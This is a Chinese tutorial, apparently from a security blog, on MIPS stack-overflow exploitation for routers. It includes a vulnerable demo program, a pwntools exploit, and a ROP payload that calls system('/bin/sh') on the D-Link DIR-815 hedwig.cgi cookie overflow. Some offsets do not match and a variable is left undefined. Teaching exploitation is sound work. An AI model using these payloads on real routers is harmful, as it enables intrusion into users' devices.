路由器破解初探之栈溢出漏洞利用
字数 1705 2025-08-22 12:22:48

MIPS32架构栈溢出漏洞利用教学文档

一、MIPS架构基础

1.1 MIPS寄存器简介

MIPS32架构中重要的寄存器包括:

  • 通用寄存器

    • $zero:值始终为0
    • $at:保留寄存器
    • $v0-$v1:保存表达式或程序返回结果
    • $a0-$a3:函数调用的前四个参数
    • $t0-$t7:临时寄存器
    • $s0-$s7:保存函数调用期间必须保存的原值
    • $k0-$k1:保留,中断处理函数使用
    • $gp:全局指针
    • $sp:栈顶指针
    • $fp:保存栈指针
    • $ra:保存返回地址
  • 特殊寄存器

    • PC:程序计数器
    • HI:乘除结果高位寄存器
    • LO:乘除结果低位寄存器

1.2 基本指令

  • LOAD/STORE指令lb, lbu, lh, lhu, ll, lw, lwl, lwr, sb, sc, sh, sw, swl, swr, move
  • 算术运算指令add, addi, addiu, sub, subu, slt, slti, sltiu, sltu, mul, mult, multu, madd, msub, msubu, div, divu
  • 类比较指令slt, slti, sltiu, sltu
  • SYSCALL:软中断,用于执行系统调用

二、MIPS堆栈原理

2.1 与x86架构的主要差异

  1. MIPS32架构中没有EBP寄存器
  2. 进入函数时将当前栈指针向下移动n比特到该函数的stack frame存储空间
  3. 函数返回时加上偏移量恢复栈指针
  4. 寄存器出入栈时都需要指定偏移量
  5. 传参时前四个参数使用$a0-$a3,多余的保存在调用函数的预留栈顶空间内
  6. 调用函数时会把函数的返回地址直接存入$RA寄存器

2.2 函数调用分类

MIPS32架构中函数分为两种:

  1. 叶子函数:不再调用其他函数的函数

    • 将返回地址存在$ra指针中
    • 直接使用"jr $ra"返回
  2. 非叶子函数:会调用其他函数的函数

    • 将返回地址存入堆栈
    • 返回时先从堆栈中取出返回值存到$ra

三、栈溢出利用技术

3.1 非叶子函数溢出利用

示例代码

#include<stdio.h>
void backdoor(){
    system("/bin/sh");
}
void vlun(){
    char dst[20]={0};
    read(0,&dst,1000);
}
void main(){
    vlun();
    exit();
}

编译命令

mips-linux-gcc no_leaf.c -static -o no_leaf

调试方法

  1. 使用qemu调起程序:
    qemu-mipsel -g 9981 -L mipsel-linux-gnu ./no_leaf
    
  2. 使用gdb-multiarch调试:
    gdb-multiarch
    set architecture mips
    target remote localhost:9981
    

偏移量计算

  1. 使用cyclic生成测试字符串:
    cyclic 200
    
  2. 程序崩溃后查看崩溃地址:
    cyclic -l 0x61616168
    
    输出结果为28,即偏移量为28

EXP构造

from pwn import *
p=process("./no_leaf")
payload='a'*0x38+p32(0x400370)
p.sendline(payload)
p.interactive()

3.2 叶子函数溢出利用

叶子函数将返回地址存在$ra指针中,而非堆栈上,因此利用难度较大。在可以大量溢出的情况下,仍可利用:

  1. 通过覆盖足够大的栈空间来影响程序执行流
  2. 结合ROP技术进行利用

四、ROP利用技术

4.1 MIPS ROP特点

  1. 使用IDA的mipsrop插件搜索gadget
  2. 适用于IDA 6.8(IDA 7.0也有相应脚本)

4.2 mipsrop插件使用

mipsrop.help()          # 帮助菜单
mipsrop.doubles()       # 打印一系列函数调用gadget
mipsrop.stackfinder()   # 寻找栈数据可控的rop
mipsrop.summary()       # 列出所有可用rop
mipsrop.system()        # 列出用于执行system函数
mipsrop.find(xxx)       # 查找特定rop
mipsrop.tails()         # 列出将栈数据保存在$ra等寄存器中的rop

五、Shellcode编写

5.1 编写步骤

  1. 用C语言完成所需程序
  2. 使用gcc生成文件
  3. 用objdump反汇编检查是否有坏指令
  4. 根据需求修改汇编代码
  5. 使用objcopy生成最终shellcode

六、实例分析:D-LINK DIR-815多次溢出

6.1 漏洞细节

  • 漏洞文件:hedwig.cgi
  • 漏洞成因:cookie过长导致栈溢出
  • 受影响版本:DIR-815、DIR-300、DIR-615等

6.2 环境搭建

  1. 下载固件:
    ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP
    
  2. 提取固件:
    binwalk -e DIR-815.bin
    
  3. 定位漏洞文件:
    find ./ -name 'hedwig.cgi'
    

6.3 漏洞验证

测试命令

sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=20 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=`python -c "print 'uid=123'+'A'*0x600"` -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="0.0.0.0" -g 23946 ./htdocs/web/hedwig.cgi

确定偏移量

  1. 使用cyclic 1536生成测试字符串
  2. 程序崩溃后查看崩溃地址
  3. 计算偏移量:
    cyclic -l 0x6b61616b
    
    输出结果为1040

6.4 EXP构造技巧

当目标地址包含坏字节时,可以先写入地址减一的值,然后利用gadget加一恢复:

system_addr = 0x53200-1+0x767e9000
add_jar = 0x159CC  # addiu $s5,$sp,0x170+var_160 | jalr $s0 |
sys_1 = 0x000158C8 # addiu $s0,1 | jalr $s5 |

padding = 'uid=' + 'a' * 1013
padding += p32(base_addr + system_addr) 
padding += 'a' * 16
padding += p32(base_addr+add_jar) 
padding += 'a' * 12 
padding += p32(base_addr + sys_1) 
padding += 'a' * 0x10
padding += '/bin/sh\x00'

七、总结

  1. MIPS架构栈溢出利用主要针对$ra寄存器
  2. 区分叶子函数和非叶子函数的利用方式
  3. 使用mipsrop插件高效查找gadget
  4. 地址包含坏字节时可使用加减法绕过
  5. 路由器环境通常没有ASLR,利用相对简单
MIPS32架构栈溢出漏洞利用教学文档 一、MIPS架构基础 1.1 MIPS寄存器简介 MIPS32架构中重要的寄存器包括: 通用寄存器 : $zero :值始终为0 $at :保留寄存器 $v0-$v1 :保存表达式或程序返回结果 $a0-$a3 :函数调用的前四个参数 $t0-$t7 :临时寄存器 $s0-$s7 :保存函数调用期间必须保存的原值 $k0-$k1 :保留,中断处理函数使用 $gp :全局指针 $sp :栈顶指针 $fp :保存栈指针 $ra :保存返回地址 特殊寄存器 : PC :程序计数器 HI :乘除结果高位寄存器 LO :乘除结果低位寄存器 1.2 基本指令 LOAD/STORE指令 : lb , lbu , lh , lhu , ll , lw , lwl , lwr , sb , sc , sh , sw , swl , swr , move 算术运算指令 : add , addi , addiu , sub , subu , slt , slti , sltiu , sltu , mul , mult , multu , madd , msub , msubu , div , divu 类比较指令 : slt , slti , sltiu , sltu SYSCALL :软中断,用于执行系统调用 二、MIPS堆栈原理 2.1 与x86架构的主要差异 MIPS32架构中没有EBP寄存器 进入函数时将当前栈指针向下移动n比特到该函数的stack frame存储空间 函数返回时加上偏移量恢复栈指针 寄存器出入栈时都需要指定偏移量 传参时前四个参数使用 $a0-$a3 ,多余的保存在调用函数的预留栈顶空间内 调用函数时会把函数的返回地址直接存入 $RA 寄存器 2.2 函数调用分类 MIPS32架构中函数分为两种: 叶子函数 :不再调用其他函数的函数 将返回地址存在 $ra 指针中 直接使用"jr $ra"返回 非叶子函数 :会调用其他函数的函数 将返回地址存入堆栈 返回时先从堆栈中取出返回值存到 $ra 中 三、栈溢出利用技术 3.1 非叶子函数溢出利用 示例代码 : 编译命令 : 调试方法 : 使用qemu调起程序: 使用gdb-multiarch调试: 偏移量计算 : 使用cyclic生成测试字符串: 程序崩溃后查看崩溃地址: 输出结果为28,即偏移量为28 EXP构造 : 3.2 叶子函数溢出利用 叶子函数将返回地址存在 $ra 指针中,而非堆栈上,因此利用难度较大。在可以大量溢出的情况下,仍可利用: 通过覆盖足够大的栈空间来影响程序执行流 结合ROP技术进行利用 四、ROP利用技术 4.1 MIPS ROP特点 使用IDA的mipsrop插件搜索gadget 适用于IDA 6.8(IDA 7.0也有相应脚本) 4.2 mipsrop插件使用 五、Shellcode编写 5.1 编写步骤 用C语言完成所需程序 使用gcc生成文件 用objdump反汇编检查是否有坏指令 根据需求修改汇编代码 使用objcopy生成最终shellcode 六、实例分析:D-LINK DIR-815多次溢出 6.1 漏洞细节 漏洞文件: hedwig.cgi 漏洞成因:cookie过长导致栈溢出 受影响版本:DIR-815、DIR-300、DIR-615等 6.2 环境搭建 下载固件: 提取固件: 定位漏洞文件: 6.3 漏洞验证 测试命令 : 确定偏移量 : 使用cyclic 1536生成测试字符串 程序崩溃后查看崩溃地址 计算偏移量: 输出结果为1040 6.4 EXP构造技巧 当目标地址包含坏字节时,可以先写入地址减一的值,然后利用gadget加一恢复: 七、总结 MIPS架构栈溢出利用主要针对 $ra 寄存器 区分叶子函数和非叶子函数的利用方式 使用mipsrop插件高效查找gadget 地址包含坏字节时可使用加减法绕过 路由器环境通常没有ASLR,利用相对简单